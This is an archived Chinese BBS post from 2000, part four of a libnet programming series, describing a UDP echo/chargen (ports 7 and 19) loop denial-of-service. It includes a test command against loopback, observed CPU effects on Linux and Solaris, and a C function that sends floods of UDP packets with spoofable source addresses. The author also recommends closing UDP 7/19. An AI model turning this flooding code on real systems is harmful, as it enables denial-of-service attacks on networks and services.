📄 529.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="530.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>
标 题: libnet使用举例(4) <br>
发信站: 武汉白云黄鹤站 (Fri Jul 28 20:51:54 2000), 站内信件 <br>
利用7/19等端口形成无限循环进而达到DoS目的。我用./linuxkiller -q lo -o 0x44 <br>
在linux上观察到了这种无限循环,用top命令查看,可以看到inetd进程CPU占用率高 <br>
达96.0%,因为7/19都是由inetd亲自处理的,注意这里并没有fork出另外一个inetd, <br>
实际DoS已经相当有效。至于Solaris,用 <br>
/usr/sbin/snoop -x 42 udp and host 192.168.10.2 and port 7 <br>
并没有观察到无限循环,可能和snoop对lo0设备的支持不好,加之Solaris本身不带 <br>
top(碰巧实验机器也没有装GNU的),我无法确认无限循环是否成立。 <br>
下面给一个UDP报文发送器例子,可以指定发送UDP报文的数量,同时允许指定srcIp、 <br>
srcPort、dstIp、dstPort等等,同样提供随机化源IP、源端口的功能。只需要介入 <br>
raw_socket即可。 <br>
与syn-flood相比,libnet_build_ip()指定IP数据区长度为UDP头长度(固定为8字节) <br>
加上UDP数据区长度,上层协议为IPPROTO_UDP。这次需要调用如下函数构造UDP头: <br>
int libnet_build_udp ( u_short sport, u_short dport, <br>
const u_char * payload, int payload_s, <br>
u_char * buf ); <br>
UDP没有类似IP、TCP头部那样的选项数据区,这里的payload和前面那两个函数的 <br>
payload意义不同,这里的payload指向UDP数据区,payload_s对应UDP数据区长度, <br>
UDP报头里有一个域对应整个UDP报文(包括UDP头)长度,与IP、TCP不同。最后一个形 <br>
参需要指向一个已分配好的数据区,UDP头从该指针开始。 <br>
还是调用 <br>
还是调用 <br>
libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN ); <br>
计算UDP报文校验和,包括头部和数据区。所以必须在数据区构造完毕后调用该函数, <br>
否则校验和错误。UDP校验和是可选的,如果设置成零表示不校验。我们做校验。 <br>
程序实在是没有意思,给个函数片段算了,利用UDP报文发送器进行DoS攻击的确恶心, <br>
<br>
闲得没事还是关闭UDP 7/19吧,TCP 7/19稍微好点,想想为什么。 <br>
-------------------------------------------------------------------------- <br>
void udpSend ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, <br>
u_l <br>
ong udpNumber ) <br>
{ <br>
u_long s; <br>
/* 构造IP头 */ <br>
libnet_build_ip( LIBNET_UDP_H + SCZUDPDATALEN, /* IP数据区长度 */ <br>
IPTOS_LOWDELAY, /* IP tos */ <br>
( u_short )random(), /* IP ID */ <br>
0, /* frag stuff */ <br>
255, /* TTL */ <br>
IPPROTO_UDP, /* 上层协议 */ <br>
srcIp, /* big-endian序 */ <br>
dstIp, /* 目标IP */ <br>
NULL, /* 无选项 */ <br>
0, /* 选项长度零 */ <br>
packet ); /* 指向IP头 */ <br>
for ( s = 0; s < udpNumber; s++ ) <br>
{ <br>
/* 构造UDP头 */ <br>
libnet_build_udp( srcPort, /* 源端口 <br>
*/ <br>
dstPort, /* 目标端口 <br>
*/ <br>
packet + LIBNET_IP_H + LIBNET_UDP_H, /* payload <br>
*/ <br>
SCZUDPDATALEN, /* payload l <br>
engt <br>
h */ <br>
packet + LIBNET_IP_H ); <br>
// 这里必须意识到,计算UDP校验和应该发生在UDP数据区构造完毕之后 <br>
// 我们目的特殊,UDP数据区已经提前构造完毕了 <br>
/* 计算UDP校验和,IP校验和由内核亲自计算 */ <br>
Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALE <br>
N ); <br>
/* 发送UDP报文 */ <br>
Libnet_write_ip( rawSocket, packet, packet_size ); <br>
// 这个输出很耗费时间,如果不是调试用,应该去掉 <br>
// fprintf( stderr, "." ); <br>
} /* end of for */ <br>
return; <br>
} /* end of udpSend */ <br>
-------------------------------------------------------------------------- <br>
后来在Solaris上装了GNU top之后,没有发现类似Linux那样CPU占用率激增的现象, <br>
由于snoop对lo0设备的支持不是很好,无法通过协议分析软件观察无限循环是否成立。 <br>
<br>
估计是没有形成。而Linux默认UDP 7/19是关闭的,Solaris默认打开却又无效,sigh。 <br>
<br>
对2K测试也没有什么效果。 <br>
-- <br>
也许有一天,他再从海上蓬蓬的雨点中升起, <br>
飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="530.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -